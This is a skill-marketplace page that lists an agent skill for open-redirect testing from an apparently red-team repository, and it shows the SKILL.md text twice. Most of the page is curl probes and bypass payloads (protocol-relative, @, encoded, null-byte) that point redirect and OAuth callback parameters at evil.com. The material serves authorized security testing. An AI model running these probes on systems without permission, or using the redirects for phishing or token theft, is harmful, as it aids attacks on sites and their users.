Ejecuta cualquier Skill en Manus
con un clic

Ejecuta cualquier Skill en Manus con un clic

open-redirect-testing

Estrellas94

Forks21

Actualizado22 de marzo de 2026 a las 18:45

Test for unvalidated redirects — URL parameters, login flows, OAuth callbacks that redirect to attacker-controlled domains

Instalación

Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.

Ejecutar en Manus

Fuente

NeoTheCapt

NeoTheCapt/RedteamAgent

Abrir repositorio de GitHub Ver repositorios del creador

Descarga

Ejecutar en Manus

Ocupaciones relacionadasSOC

Basado en la clasificación ocupacional SOC

Analistas de seguridad de la informaciónOcupaciones informáticas y matemáticas·SOC 15-1212

SKILL.md

readonly

name	open-redirect-testing
description	Test for unvalidated redirects — URL parameters, login flows, OAuth callbacks that redirect to attacker-controlled domains
origin	RedteamOpencode

Open Redirect Testing

When to Activate

Any URL parameter containing a URL or path (redirect, url, next, return, returnTo, goto, dest, target, rurl, callback)
Login/logout flows with redirect after auth
OAuth/SSO callback URLs
Payment completion redirects
Email verification links

Methodology

1. Identify Redirect Parameters

# Common redirect parameter names
for param in redirect url next return returnTo goto dest target rurl callback continue redir forward ref; do
  code=$(run_tool curl -s -o /dev/null -w "%{http_code}" "http://target/?${param}=https://evil.com")
  [ "$code" = "302" ] || [ "$code" = "301" ] || [ "$code" = "303" ] && echo "  $param → $code (potential redirect)"
done

2. Test Redirect Bypass Techniques

TARGET="http://target/redirect?url="
# Direct external URL
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com"
# Protocol-relative
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}//evil.com"
# Backslash
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com%5c"
# @ bypass (user@host)
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://target@evil.com"
# Subdomain bypass
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://target.evil.com"
# URL encoding
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https%3A%2F%2Fevil.com"
# Double URL encoding
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https%253A%252F%252Fevil.com"
# Null byte
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com%00target.com"

3. Test in Authentication Flows

# Post-login redirect
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "http://target/login?redirect=https://evil.com"
# OAuth callback
run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "http://target/oauth/callback?redirect_uri=https://evil.com"

What to Record

Redirect parameter name and endpoint
Which bypass technique worked
Whether it's an absolute redirect (to external domain) or relative only

Más de este repositorio

mismo repositorio

business-logic-testing

NeoTheCapt/RedteamAgent

Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws

2026-05-0294

sensitive-data-detection

NeoTheCapt/RedteamAgent

Detect PII, credentials, and corporate sensitive data in API responses, source code, files, headers, and database extracts

2026-05-0294

sqli-testing

NeoTheCapt/RedteamAgent

Detect and exploit SQL injection vulnerabilities in web application parameters

2026-05-0194

auth-bypass

NeoTheCapt/RedteamAgent

Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses

2026-04-3094

xss-testing

NeoTheCapt/RedteamAgent

Detect and exploit cross-site scripting vulnerabilities in web applications

2026-04-3094

parameter-fuzzing

NeoTheCapt/RedteamAgent

Discover hidden parameters, test values, and identify input handling anomalies

2026-04-2994

Open Redirect Testing

When to Activate

Any URL parameter containing a URL or path (redirect, url, next, return, returnTo, goto, dest, target, rurl, callback)

OAuth/SSO callback URLs

Payment completion redirects

Email verification links

Methodology

1. Identify Redirect Parameters

# Common redirect parameter names for param in redirect url next return returnTo goto dest target rurl callback continue redir forward ref; do code=$(run_tool curl -s -o /dev/null -w "%{http_code}" "http://target/?${param}=https://evil.com") [ "$code" = "302" ] || [ "$code" = "301" ] || [ "$code" = "303" ] && echo " $param → $code (potential redirect)" done

2. Test Redirect Bypass Techniques

TARGET="http://target/redirect?url=" # Direct external URL run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com" # Protocol-relative run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}//evil.com" # Backslash run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com%5c" # @ bypass (user@host) run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://target@evil.com" # Subdomain bypass run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://target.evil.com" # URL encoding run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https%3A%2F%2Fevil.com" # Double URL encoding run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https%253A%252F%252Fevil.com" # Null byte run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "${TARGET}https://evil.com%00target.com"

3. Test in Authentication Flows

# Post-login redirect run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "http://target/login?redirect=https://evil.com" # OAuth callback run_tool curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "http://target/oauth/callback?redirect_uri=https://evil.com"

What to Record

Redirect parameter name and endpoint

Which bypass technique worked

Whether it's an absolute redirect (to external domain) or relative only